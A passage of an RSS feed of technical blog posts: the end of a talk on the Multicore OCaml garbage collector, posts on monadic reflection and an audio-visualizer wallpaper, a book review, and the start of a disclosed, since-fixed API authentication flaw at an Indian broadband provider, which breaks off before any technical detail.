The major heap objects are in one of the 4 states: <code class="highlighter-rouge">Marked</code>, <code class="highlighter-rouge">Unmarked</code>, <code class="highlighter-rouge">Garbage</code> and <code class="highlighter-rouge">Free</code>. The domains alternate between running the
mutator and performing GC work. The GC thread performs a depth-first traversal
of the heap. If it finds an <code class="highlighter-rouge">Unmarked</code>
object, it changes its colour to <code class="highlighter-rouge">Marked</code>
and pushes the object into a domain-local mark-stack. On the other hand, if it
finds a <code class="highlighter-rouge">Garbage</code> object, it marks it as
<code class="highlighter-rouge">Free</code> and adds it to the free list. Since
multiple GC threads operate on the heap simultaneously, marking is racy but
idempotent. In particular, there is no synchronization for marking the objects.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.082.png" border="1" alt="GC.082" width="80%" /> </p>
If any domain thinks that all the work in the current major GC cycle is done (in
practice, close to being done), it calls for a global synchronization where all
the domains synchronize on the barrier. Once stopped, all the domains work to
actually finish marking, as some work may be left over at other domains. Once
that is done, the cores agree to flip the meaning of the colours. Anything that
is <code class="highlighter-rouge">Unmarked</code> is considered <code class="highlighter-rouge">Garbage</code>. Anything that is <code class="highlighter-rouge">Marked</code> becomes <code class="highlighter-rouge">Unmarked</code> for the next cycle. <code class="highlighter-rouge">Garbage</code> objects are considered <code class="highlighter-rouge">Marked</code>, but at the end of the major GC, all
<code class="highlighter-rouge">Garbage</code> objects have been marked <code class="highlighter-rouge">Free</code>. Hence, no objects fall into this
category. Anything that is marked <code class="highlighter-rouge">Free</code>
still remains <code class="highlighter-rouge">Free</code>. This concludes the
discussion on parallelism.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.083.png" border="1" alt="GC.083" width="80%" /> </p>
We introduce concurrency into the mix next. Concurrency in Multicore OCaml is
expressed through fibers, which are language-level lightweight threads. Fibers
are implemented as heap allocated, dynamically resized stack segments. Just like
mutating a regular heap object, fibers can also be mutated by pushing and
popping values. However, unlike regular objects, fiber mutations are not
protected by a write barrier. This poses challenges to maintaining the heap
invariants.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.084.png" border="1" alt="GC.084" width="80%" /> </p>
The main thread in Multicore OCaml is also a fiber. Hence, the GC root current
stack is just a pointer to the current fiber. Since we don't have write barrier
on pushing to a fiber, we need to approximate the pointers that may arise from a
fiber in the major heap which points to the minor heap. We do this with the help
of <em>remembered fiber set</em>. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.085.png" border="1" alt="GC.085" width="80%" /> </p>
This represents the set of fibers in the major heap that ran in the current
minor cycle on some domain. Similar to remembered set, the remembered fiber set
is also a domain local data structure. The remembered fiber set is a root for
minor GCs. The remembered fiber set is cleared along with the remembered set at
the end of minor GC.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.086.png" border="1" alt="GC.086" width="80%" /> </p>
<p>
We also treat fibers specially during promotions on read faults. Fibers
transitively reachable are not promoted automatically in order to avoid
prematurely promoting the entire world. We envision work stealing schedulers
where the fiber only needs to be promoted when a different domain explicitly
demands it.
</p>

In this example, when assigning <code class="highlighter-rouge">x</code> to
<code class="highlighter-rouge">r</code>, instead of promoting fiber <code class="highlighter-rouge">f</code>, 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.088.png" border="1" alt="GC.088" width="80%" /> </p>
we leave it on the minor heap. We record <code class="highlighter-rouge">x</code> in the remembered set.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.089.png" border="1" alt="GC.089" width="80%" /> </p>
And when a different domain demands it i.e., tries to context switch to the
fiber <code class="highlighter-rouge">f</code>,  
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.090.png" border="1" alt="GC.090" width="80%" /> </p>
then we promote the fiber and its transitive closure.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.092.png" border="1" alt="GC.092" width="80%" /> </p>
Since we've added the domain-local remembered fiber set, at every instance the
fast path is taken on a read fault, we are obligated to scan this set just after
the promotion is done. But the remembered fiber set may be large, and the fiber
stacks themselves can be large. Hence, scanning the stack for most promotions
would introduce large pause times.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.093.png" border="1" alt="GC.093" width="80%" /> </p>
We would like to break up the large pause time if possible. We can do this by
lazily scanning the fibers just before a context switch. We only need to scan a
fiber once per promotion. We also expect the rate of context switches to be much
smaller than the rate of promotions. Hence, in practice, the fiber only gets
scanned once per batch of promotions.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.096.png" border="1" alt="GC.096" width="80%" /> </p>
How does concurrency affect the major GC? Recall that Multicore OCaml uses a
deletion barrier. In a deletion barrier, whenever a major heap object loses a
reference to another major heap object, we have to mark the target object.
However, fiber stack pops are not protected by a write barrier. Instead, we
conservatively mark all of the objects on the fiber before switching to it. This
is not to dissimilar to the current stock OCaml compiler scanning the current
stack (as part of the roots) at the beginning of the major GC cycle.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.097.png" border="1" alt="GC.097" width="80%" /> </p>
In VCGC, marking is racy but idempotent. Hence, the mutators can freely read and
write the object while it is concurrently marked. In particular, no
synchronization such as compare-and-swap or locks are required to mediate access
between the mutator and the GC thread. However, this invariant does not hold for
fibers. Assume that a mutator is about to context switch to a thread while a GC
thread on another domain attempts to scan and mark the objects on the fiber.
Since the mutator may push and pop the fiber stack, the GC thread concurrently
scanning the stack may observe inconsistent state.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.098.png" border="1" alt="GC.098" width="80%" /> </p>
In order to prevent this inconsistency, before switching to a unmarked fiber,
the fiber is marked and all the objects on the fiber are also marked -- fiber is
made <code class="highlighter-rouge">Black</code>. And in order to prevent racy
access, the fiber is locked while marking. If the GC thread holds the lock on a
fiber and a mutator tries to context switch to it, the mutator blocks until the
fiber is marked. If the GC thread loses the race, it can safely skip marking the
fiber.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.099.png" border="1" alt="GC.099" width="80%" /> </p>
In summary, the Multicore OCaml GC optimizes for latency and minimizes the
maximum pause time through independent minor GCs and a mostly concurrent
mark-and-sweep collector for major GCs. The challenge is to consider the
interactions between mutations, concurrency and parallelism and the various GC
techniques in order to come up with a design that preserves safety and optimizes
our performance goals. I will have to save the performance analysis of the GC to
a different talk. 
</div>



<h2 id="further-reading">Further Reading</h2>
<ul>
  <li><a href="https://github.com/ocamllabs/ocaml-multicore">Multicore OCaml</a>
    <ul>
      <li>Concurrency
        <ul>
          <li><a href="http://kcsrk.info/ocaml/multicore/2015/05/20/effects-multicore/">Effective Concurrency with Algebraic Effects</a></li>
          <li><a href="http://kcsrk.info/ocaml/multicore/effects/2015/05/27/more-effects/">Pearls of Algebraic Effects and Handlers</a></li>
          <li><a href="https://github.com/kayceesrk/effects-examples">Examples</a></li>
          <li><a href="http://kcsrk.info/">and more papers</a></li>
        </ul>
      </li>
      <li><a href="https://github.com/ocamllabs/ocaml-multicore/wiki">Wiki</a></li>
    </ul>
  </li>
  <li>GC bibliography
    <ul>
      <li>Damien Doligez and Xavier Leroy. “A concurrent, generational garbage collector for a multithreaded implementation of ML.” POPL 1993.</li>
      <li>Simon Marlow and Simon Peyton Jones. “Multicore garbage collection with local heaps.” ACM SIGPLAN Notices. Vol. 46. No. 11. ACM, 2011</li>
      <li>Todd Anderson, “Optimizations in a private nursery-based garbage collector”, ISMM, 2010.</li>
      <li>KC Sivaramakrishnan, Lukasz Ziarek, Suresh Jagannathan, “A Coherent and Managed Runtime for ML on the SCC”, MARC, 2012.</li>
      <li>Lorenz Huelsbergen and Phil Winterbottom. “Very concurrent mark-&amp;-sweep garbage collection without fine-grain synchronization.” ISMM 1998.</li>
      <li>Scott Schneider, Christos D. Antonopoulos, and Dimitrios S. Nikolopoulos. “Scalable, locality-conscious multithreaded memory allocation.” ISMM 2006.</li>
    </ul>
  </li>
</ul>

]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[(Monadic) Reflections on Concurrency]]></title>
            <link>https://kcsrk.info/multicore/reflection/monads/effects/2017/06/13/monadic-reflections-on-concurrency/</link>
            <guid isPermaLink="false">https://kcsrk.info/multicore/reflection/monads/effects/2017/06/13/monadic-reflections-on-concurrency/</guid>
            <pubDate>Tue, 13 Jun 2017 12:13:00 GMT</pubDate>
            <description><![CDATA[We recently published a paper on concurrent system programming with effect
handlers. In this paper, we show
that with the help of effect handlers, we could express in direct-style,
various interactions of a concurrent program with OS services that typically
require callbacks. The question is what do we do about legacy code that uses
monadic concurrency libraries such as Lwt and Async. Surely a wholesale rewrite
of all Lwt and Async code is a no go. This post is an exploration of some ideas
to make Lwt and Async compatible with direct-style code.
Monadic Reflection
Andrzej Filinski introduced monadic reflection in his paper Representing
Monads,
characterizing the relationship between monadic style and continuation-passing
style. Practically, in a language like multicore OCaml with native support for
delimited continuations, any monadic style program can also be written in
direct-style. Filinski introduces two operators to transform between the two
styles:


reify transforms a direct-style computation to a monadic one and reflect
goes the other way. In multicore OCaml, we can implement monadic reflection for
any monad as1:


We introduce an effect E which is parameterized with the monadic computation.
When this effect is performed, it returns the result of performing this monadic
computation. reify wraps the direct-style computation with an effect handler
that handles E m and binds the monadic computation m to the rest of the
direct-style computation. reflect simply performs the given monadic
computation wrapped in E. The idea here is that whenever the monad does
anything interesting, we perform the effect E which delegates the handling of
interesting monadic behavior to the effect handler.
Monadic to Direct
We implement chameneos-redux benchmark
from the computer language benchmarks game in direct-style and using concurrency
monad. The benchmark is intended to evaluate the cost of context switching
between tasks. The source code is available
here
in a single-self contained file. We implement both versions as functors
(direct-style is ChameneosD (S : SchedD) (M : MVarD) and monadic-style is
ChameneosM (S : SchedM) (M : MVarM)) parameterized by a scheduler and an MVar
implementation. The signatures of direct and monadic style scheduler and MVars
are:


Using monadic reflection on the monadic scheduler SchedM and MVar MVarM
implementations, we can instantiate the direct-style functor ChameneosD:


We can even instantiate the direct-style functor ChameneosD with Lwt with no
extra effort:


Thus, monadic reflection lets you utilize Lwt and Async in direct-style.
Importantly, one gets back backtraces and the use of raise and try...with
for exception handling.
Direct to Monadic
Lwt and Async libraries provide strong guarantees on task interleavings. In
particular, both libraries provide automatic mutual exclusion – context
switches between tasks only occur at bind points. In other words, any
non-monadic functions, such as calls to standard library functions, are
guaranteed not to context switch. With effect handlers, this is no longer the
case since effects are not tracked in the types in multicore OCaml.
We can recover the type level marker with a shallow embedding:


And we can go back to direct-style using monadic reflection:


Performance
We compared the performance of different configurations for running
chameneos-redux for 1 million iterations:
  
The results show that monadic reflection has around 9% overhead on average over
the baseline monadic implementations. This is a small price to pay for the
advantage for programming in direct-style.
Conclusion
We have been prototyping a multicore-capable I/O library for OCaml called
Aeio, with compatibility layer for
Lwt and Async built on top of this library. Monadic reflection and other
techniques can help resolve the schism between monadic libraries and
direct-style code.
Footnotes
Thanks to Jeremy Yallop for introducing me to monadic reflection and contributing this implementation. ↩]]></description>
            <content:encoded><![CDATA[<p>We recently published a paper on <a href="http://kcsrk.info/papers/system_effects_feb_18.pdf">concurrent system programming with effect
handlers</a>. In this paper, we show
that with the help of effect handlers, we could express in <em>direct-style</em>,
various interactions of a concurrent program with OS services that typically
require callbacks. The question is what do we do about legacy code that uses
monadic concurrency libraries such as Lwt and Async. Surely a wholesale rewrite
of all Lwt and Async code is a no go. This post is an exploration of some ideas
to make Lwt and Async compatible with direct-style code.</p>

<!--more-->

<h2 id="monadic-reflection">Monadic Reflection</h2>

<p>Andrzej Filinski introduced monadic reflection in his paper <a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.43.8213&amp;rep=rep1&amp;type=pdf">Representing
Monads</a>,
characterizing the relationship between monadic style and continuation-passing
style. Practically, in a language like multicore OCaml with native support for
delimited continuations, any monadic style program can also be written in
direct-style. Filinski introduces two operators to transform between the two
styles:</p>



<p><code class="language-plaintext highlighter-rouge">reify</code> transforms a direct-style computation to a monadic one and <code class="language-plaintext highlighter-rouge">reflect</code>
goes the other way. In multicore OCaml, we can implement monadic reflection for
<em>any</em> monad as<sup id="fnref:yallop" role="doc-noteref"><a href="#fn:yallop" class="footnote" rel="footnote">1</a></sup>:</p>



<p>We introduce an effect <code class="language-plaintext highlighter-rouge">E</code> which is parameterized with the monadic computation.
When this effect is performed, it returns the result of performing this monadic
computation. <code class="language-plaintext highlighter-rouge">reify</code> wraps the direct-style computation with an effect handler
that handles <code class="language-plaintext highlighter-rouge">E m</code> and binds the monadic computation <code class="language-plaintext highlighter-rouge">m</code> to the rest of the
direct-style computation. <code class="language-plaintext highlighter-rouge">reflect</code> simply performs the given monadic
computation wrapped in <code class="language-plaintext highlighter-rouge">E</code>. The idea here is that whenever the monad does
anything interesting, we perform the effect <code class="language-plaintext highlighter-rouge">E</code> which delegates the handling of
interesting monadic behavior to the effect handler.</p>

<h2 id="monadic-to-direct">Monadic to Direct</h2>

<p>We implement <a href="https://benchmarksgame.alioth.debian.org/u64q/chameneosredux-description.html#chameneosredux">chameneos-redux benchmark</a>
from the computer language benchmarks game in direct-style and using concurrency
monad. The benchmark is intended to evaluate the cost of context switching
between tasks. The source code is available
<a href="https://github.com/kayceesrk/reify_reflect_concurrency/blob/master/rr_conc.ml">here</a>
in a single-self contained file. We implement both versions as functors
(direct-style is <code class="language-plaintext highlighter-rouge">ChameneosD (S : SchedD) (M : MVarD)</code> and monadic-style is
<code class="language-plaintext highlighter-rouge">ChameneosM (S : SchedM) (M : MVarM)</code>) parameterized by a scheduler and an MVar
implementation. The signatures of direct and monadic style scheduler and MVars
are:</p>



<p>Using monadic reflection on the monadic scheduler <code class="language-plaintext highlighter-rouge">SchedM</code> and MVar <code class="language-plaintext highlighter-rouge">MVarM</code>
implementations, we can instantiate the direct-style functor <code class="language-plaintext highlighter-rouge">ChameneosD</code>:</p>



<p>We can even instantiate the direct-style functor <code class="language-plaintext highlighter-rouge">ChameneosD</code> with Lwt with no
extra effort:</p>



<p>Thus, monadic reflection lets you utilize Lwt and Async in direct-style.
Importantly, one gets back backtraces and the use of <code class="language-plaintext highlighter-rouge">raise</code> and <code class="language-plaintext highlighter-rouge">try...with</code>
for <a href="https://ocsigen.org/lwt/dev/api/Lwt#2_Exceptionshandling">exception handling</a>.</p>

<h2 id="direct-to-monadic">Direct to Monadic</h2>

<p>Lwt and Async libraries provide strong guarantees on task interleavings. In
particular, both libraries provide <em>automatic mutual exclusion</em> – context
switches between tasks only occur at bind points. In other words, any
non-monadic functions, such as calls to standard library functions, are
guaranteed not to context switch. With effect handlers, this is no longer the
case since effects are not tracked in the types in multicore OCaml.</p>

<p>We can recover the type level marker with a shallow embedding:</p>



<p>And we can go back to direct-style using monadic reflection:</p>



<h2 id="performance">Performance</h2>

<p>We compared the performance of different configurations for running
chameneos-redux for 1 million iterations:</p>

<p align="center"> <img src="https://kcsrk.info/assets/reflection_perf.png" alt="Reflection Performance" width="70%" /> </p>

<p>The results show that monadic reflection has around 9% overhead on average over
the baseline monadic implementations. This is a small price to pay for the
advantage for programming in direct-style.</p>

<h2 id="conclusion">Conclusion</h2>

<p>We have been prototyping a multicore-capable I/O library for OCaml called
<a href="https://github.com/kayceesrk/ocaml-aeio">Aeio</a>, with compatibility layer for
Lwt and Async built on top of this library. Monadic reflection and other
techniques can help resolve the schism between monadic libraries and
direct-style code.</p>

<h2 id="footnotes">Footnotes</h2>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:yallop" role="doc-endnote">
      <p>Thanks to <a href="https://www.cl.cam.ac.uk/~jdy22/">Jeremy Yallop</a> for introducing me to monadic reflection and <a href="https://github.com/kayceesrk/effects-examples/blob/master/reify_reflect.ml">contributing this implementation</a>. <a href="#fnref:yallop" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Building the perfect audio visualization]]></title>
            <link>https://captnemo.in/blog/2017/05/01/spectrumyzer-visualization/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/05/01/spectrumyzer-visualization/</guid>
            <pubDate>Mon, 01 May 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[I made this as my animated wallpaper recently (Click to play/pause):


above video has a audio component, click at your own peril.
What follows is the story and the tech behind making this.
The Wallpaper
I have a long history of using custom wallpapers. This was my wallpaper from 2014-:

When I asked Vikalp to design a new one, I knew I wanted something that
was slightly more softer. This is what he came up with, after a few iterations:

This wasn’t the final iteration, and both of us agreed that there was something missing.
Visualizations
I saw a colleague using cava and spent a bit of time trying out different
visualization software. The ones that I tried out:
cava
  works perfectly with i3, runs on a terminal. I couldn’t get it to work cleanly with transparency. 
  mildrop
  Winamp’s legacy. This works great for parties, but is not really an everyday-use visualizer. 
  spectrumyzer
  Worked with transparency, but limited to bars visualization.


I decided to go ahead with Spectrumyzer (This is the default config):

The Traffic Jam
The very same day, stuck in a traffic jam1, I asked Vikalp for some color ideas on the visualization.
The obvious 2 were tried first:


It finally dawned on us to use the light blue variant with padding set to zero:

Here is one showing the actual positioning (set using the offsets):

Bezier Curves
With the padding set to zero, it already looked great. I ended up using this
as my wallpaper for the next one week. Vikalp wanted to make the bars
non-rectangular, and I spent some time figuring out how to make waveforms using
bezier curves2. The basic learning from my experiments were:
Cairo has methods for drawing cubic bezier curves.
Cubic bezier curves have 2 control points.
The control points must be symmetric (equidistant) as well as parallel to the origin points.
The parallel part ensures that the ending and starting line segments are always tangential giving a smooth joining.
This is roughly what you want to do when drawing waveforms:

If you are interested in playing around with Bezier curves, see Animated Bézier Curves. A Primer on Bézier Curves is a math-heavy explanation if you want to read further3.
The code I wrote picks the midpoints of the bars and then connects them using bezier curves:

# control point cords
# Make sure these are symmetric
c1x = rect_top_mid_x + 16
c2x = next_rect_top_mid_x - 16
c1y = rect_top_mid_y
c2y = next_rect_top_mid_y


I also had to make the number of bars configurable (this is default=64, which doesn’t look great):

Here is the complete final result in HD:


What I learned
Bezier curves are not magic.
Drawing pixels on screen and filling them was quite easy with Cairo and Python.
Coding is wizardry. The things that I take for granted every day (take a multi-page website and get useful tabular data out of it, for eg) are unthinkable for most people. The idea of doing water waves was something I knew would be possible before I even looked at the codebase.
If you’d like to replicate this setup, or build upon it, here is my spectrum.conf file.
I also filed a PR (now merged!) to the spectrumyzer project adding support for curve based renders.
Sony World Junction - Where startup ideas are born. ↩
The Spectrumyzer codebase turned out to be fairly easy to understand. It was just cairo and pyGTK. ↩
A Primer on Bézier Curves was published on HN just a few days after I finished this project. ↩]]></description>
            <content:encoded><![CDATA[<p>I made this as my animated wallpaper recently (Click to play/pause):</p>

<video src="https://captnemo.in/videos/spectrum_320.webm" width="320" poster="/img/spectrum/poster.jpg" onclick="this.paused?this.play():this.pause();" title="Spectrum Visualization Demo." class="center-content"></video>

<p><em>above video has a audio component, click at your own peril</em>.</p>

<p>What follows is the story and the tech behind making this.</p>

<h2 id="the-wallpaper">The Wallpaper</h2>

<p>I have a long history of using custom wallpapers. This was my wallpaper from 2014-:</p>

<p><img src="https://cdn.rawgit.com/captn3m0/avatars/a8255290/wallpaper/1920x1080.jpg" alt="Old Wallpaper" /></p>

<p>When I asked <a href="http://vikalpgupta.com/">Vikalp</a> to design a new one, I knew I wanted something that
was slightly more softer. This is what he came up with, after a few iterations:</p>

<p><img src="https://cdn.rawgit.com/captn3m0/avatars/a8255290/wallpaper/minimal.jpg" alt="New Wallpaper" /></p>

<p>This wasn’t the final iteration, and both of us agreed that there was something missing.</p>

<h2 id="visualizations">Visualizations</h2>

<p>I saw a colleague using <a href="https://github.com/karlstav/cava#arch" title="Console-based Audio Visualizer for ALSA (MPD and Pulseaudio)"><code class="language-plaintext highlighter-rouge">cava</code></a> and spent a bit of time trying out different
visualization software. The ones that I tried out:</p>

<dl>
  <dt><strong><a href="https://github.com/karlstav/cava#arch" title="Console-based Audio Visualizer for ALSA (MPD and Pulseaudio)">cava</a></strong></dt>
  <dd>works perfectly with i3, runs on a terminal. I couldn’t get it to work cleanly with transparency. <img src="https://rawcdn.githack.com/karlstav/cava/80d465ff2537abf030fa766bda281150c60ac162/example_files/cava.gif" alt="Cava screenshot using tiling" id="cava:" class="center-content" /></dd>
  <dt><strong><a href="http://projectm.sourceforge.net/" title="MilkDrop was the hardware-accelerated music visualization plugin for Winamp. ProjectM is the port that doesn't need Winamp and works on linux">mildrop</a></strong></dt>
  <dd>Winamp’s legacy. This works great for parties, but is not really an everyday-use visualizer. <img src="https://captnemo.in/img/milkdrop.jpg" alt="Milkdrop Running using projectM on Linux" id="milkdrop:" class="center-content" /></dd>
  <dt><strong><a href="https://github.com/HaCk3Dq/spectrumyzer/">spectrumyzer</a></strong></dt>
  <dd>Worked with transparency, but limited to bars visualization.</dd>
</dl>

<p>I decided to go ahead with Spectrumyzer (This is the default config):</p>

<p><img src="https://captnemo.in/img/spectrum/default.jpg" alt="Default Spectrum Config" title="Spectrumyzer Default Config" class="center-content" /></p>

<h2 id="the-traffic-jam">The Traffic Jam</h2>

<p>The very same day, stuck in a traffic jam<sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>, I asked Vikalp for some color ideas on the visualization.</p>

<p>The obvious 2 were tried first:</p>

<p><img src="https://captnemo.in/img/spectrum/darkblue.jpg" alt="Spectrum Dark Blue Config" title="Spectrumyzer Dark Blue Config" class="center-content" /></p>

<p><img src="https://captnemo.in/img/spectrum/yellow.jpg" alt="Spectrum Yellow Config" title="Spectrumyzer Yellow Config" class="center-content" /></p>

<p>It finally dawned on us to use the light blue variant with padding set to zero:</p>

<p><img src="https://captnemo.in/img/spectrum/blue.jpg" alt="Spectrum Light Blue" title="Spectrumyzer Blue Config with zero padding" class="center-content" /></p>

<p>Here is one showing the actual positioning (set using the offsets):</p>

<p><img src="https://captnemo.in/img/spectrum/offset.jpg" alt="Spectrum Offset" title="Spectrumyzer offset configuration" class="center-content" /></p>

<h2 id="bezier-curves">Bezier Curves</h2>

<p>With the padding set to zero, it already looked great. I ended up using this
as my wallpaper for the next one week. Vikalp wanted to make the bars
non-rectangular, and I spent some time figuring out how to make waveforms using
bezier curves<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">2</a></sup>. The basic learning from my experiments were:</p>

<ul>
  <li>Cairo has methods for drawing cubic bezier curves.</li>
  <li>Cubic bezier curves have 2 control points.</li>
  <li>The control points must be symmetric (equidistant) as well as parallel to the origin points.</li>
  <li>The parallel part ensures that the ending and starting line segments are always tangential giving a smooth joining.</li>
</ul>

<p>This is roughly what you want to do when drawing waveforms:</p>

<p><img src="https://captnemo.in/img/bezier.waveform.gif" alt="Waveform bezier curve" class="center-content" /></p>

<p>If you are interested in playing around with Bezier curves, see <a href="https://www.jasondavies.com/animated-bezier/" title="Animated Bézier Curves, Play with the control points to modify the curves!">Animated Bézier Curves</a>. <a href="https://pomax.github.io/bezierinfo/" title="A Primer on Bézier Curves, A free, online book for when you really need to know how to do Bézier things.">A Primer on Bézier Curves</a> is a math-heavy explanation if you want to read further<sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">3</a></sup>.</p>

<p>The code I wrote picks the midpoints of the bars and then connects them using bezier curves:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># control point cords
# Make sure these are symmetric
</span><span class="n">c1x</span> <span class="o">=</span> <span class="n">rect_top_mid_x</span> <span class="o">+</span> <span class="mi">16</span>
<span class="n">c2x</span> <span class="o">=</span> <span class="n">next_rect_top_mid_x</span> <span class="o">-</span> <span class="mi">16</span>
<span class="n">c1y</span> <span class="o">=</span> <span class="n">rect_top_mid_y</span>
<span class="n">c2y</span> <span class="o">=</span> <span class="n">next_rect_top_mid_y</span>
</code></pre></div></div>

<p>I also had to make the number of bars configurable (this is default=64, which doesn’t look great):</p>

<p><img src="https://captnemo.in/img/spectrum/64water.jpg" alt="Spectrum water 64" title="Spectrumyzer curves config doesn't look that great with 64 bars" class="center-content" /></p>

<p>Here is the complete final result in HD:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/_vWe_AHAJCk?rel=0" frameborder="0" allowfullscreen="" class="center-content"></iframe>

<h2 id="what-i-learned">What I learned</h2>

<ul>
  <li>Bezier curves are not magic.</li>
  <li>Drawing pixels on screen and filling them was quite easy with Cairo and Python.</li>
  <li>Coding is wizardry. The things that I take for granted every day (take a multi-page website and get useful tabular data out of it, for eg) are unthinkable for most people. The idea of doing water waves was something I knew would be possible before I even looked at the codebase.</li>
</ul>

<p>If you’d like to replicate this setup, or build upon it, here is my <a href="https://github.com/captn3m0/dotfiles/blob/master/files/audio/.config/spectrum.conf" title="Just ensure you have the latest spectrumyzer code before using this">spectrum.conf</a> file.
I also <a href="https://github.com/HaCk3Dq/spectrumyzer/pull/22" title="Configurable renderers">filed a PR</a> (now merged!) to the spectrumyzer project adding support for curve based renders.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:3">
      <p><a href="https://twitter.com/SonyWorldJn">Sony World Junction</a> - Where startup ideas are born. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:1">
      <p>The Spectrumyzer codebase turned out to be fairly easy to understand. It was just cairo and pyGTK. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2">
      <p><a href="https://pomax.github.io/bezierinfo/" title="A Primer on Bézier Curves, A free, online book for when you really need to know how to do Bézier things.">A Primer on Bézier Curves</a> was published on HN just a few days after I finished this project. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Book Review (2016)]]></title>
            <link>https://captnemo.in/blog/2017/04/02/book-review-2016/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/04/02/book-review-2016/</guid>
            <pubDate>Sun, 02 Apr 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[I tweeted this a while back about my reading progress in 2016, and thought I’d do a post about what I read.
Made a graph of my @goodreads reading progress in 2016. I only picked up the pace sometime in May, but managed to read ~10k pages this year.

January 13, 2017
Continuing with the review tradition from last year, here are the top 3 books that I read in 2016:
The Library at Mount Char [review]
Binti (Hugo winner for Best Novella, SF)
Lolita
Other books that I enjoyed were “Bands of Mourning”, the 3rd book in Mistborn Era 2, and the Powder Mage Trilogy which I found hard to put down.
I decided to aim for 36 books in 2016 (as well as 2017 now), and crossed that nicely. I picked 36 because it corresponds to 3 books a month or 1 book every 10 days, which makes for a goal that is easily tracked. I count everything that goodreads might count as a book (which is both good and bad), but I stick to it. Far more important for me would be the page count, which I charted at the end of the year and I read ~830 pages a month, which I’m pretty happy with.
I’m hoping to read more technical books in 2017, and have made some progress on that front with re-reading SICP.
If you are interested in the script that generated the graph, you can find it on github.]]></description>
            <content:encoded><![CDATA[<p>I tweeted this a while back about my reading progress in 2016, and thought I’d do a post about what I read.</p>

<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Made a graph of my <a href="https://twitter.com/goodreads">@goodreads</a> reading progress in 2016. I only picked up the pace sometime in May, but managed to read ~10k pages this year.</p>
<p><img src="https://pbs.twimg.com/media/C2D9p9DXEAADajk.png" /></p>
&mdash; Nemo (@captn3m0) <a href="https://twitter.com/captn3m0/status/819934060256563201">January 13, 2017</a></blockquote>

<p>Continuing with the <a href="https://captnemo.in/blog/2016/02/15/2015-in-review/">review tradition from last year</a>, here are the top 3 books that I read in 2016:</p>

<ul>
  <li><a href="https://www.goodreads.com/book/show/26892110-the-library-at-mount-char">The Library at Mount Char</a> [<a href="https://www.goodreads.com/review/show/1648561385?book_show_action=false&amp;from_review_page=1">review</a>]</li>
  <li><a href="https://www.goodreads.com/book/show/25667918-binti">Binti</a> (Hugo winner for Best Novella, SF)</li>
  <li><a href="https://www.goodreads.com/book/show/7604.Lolita">Lolita</a></li>
</ul>

<p>Other books that I enjoyed were “Bands of Mourning”, the 3rd book in Mistborn Era 2, and the Powder Mage Trilogy which I found hard to put down.</p>

<p>I decided to aim for 36 books in 2016 (as well as 2017 now), and crossed that nicely. I picked 36 because it corresponds to 3 books a month or 1 book every 10 days, which makes for a goal that is easily tracked. I count everything that goodreads might count as a book (which is both good and bad), but I stick to it. Far more important for me would be the page count, which I charted at the end of the year and I read ~830 pages a month, which I’m pretty happy with.</p>

<p>I’m hoping to read more technical books in 2017, and have made some progress on that front with re-reading <a href="https://sarabander.github.io/sicp/">SICP</a>.</p>

<p>If you are interested in the script that generated the graph, you can find it on <a href="https://github.com/captn3m0/what-to-read/blob/master/stats.rb">github</a>.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Vulnerability Report: ACT Corp]]></title>
            <link>https://captnemo.in/blog/2017/03/26/act-vulnerability/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2017/03/26/act-vulnerability/</guid>
            <pubDate>Sun, 26 Mar 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[ACT, for those who don’t know is one of India’s most popular broadband providers.
This is a very brief and concise summary.
ACT has a mobile application
That allows you to login and check your plan details, data usage etc
I’ve been wanting to build a command line application that lets me check the balance easily
I tried scripting their website, but it was too much javascript.
The mobile app uses an API to do the same
The API happens to have really bad auth
Got fixed almost 3 months after reporting this.
Request

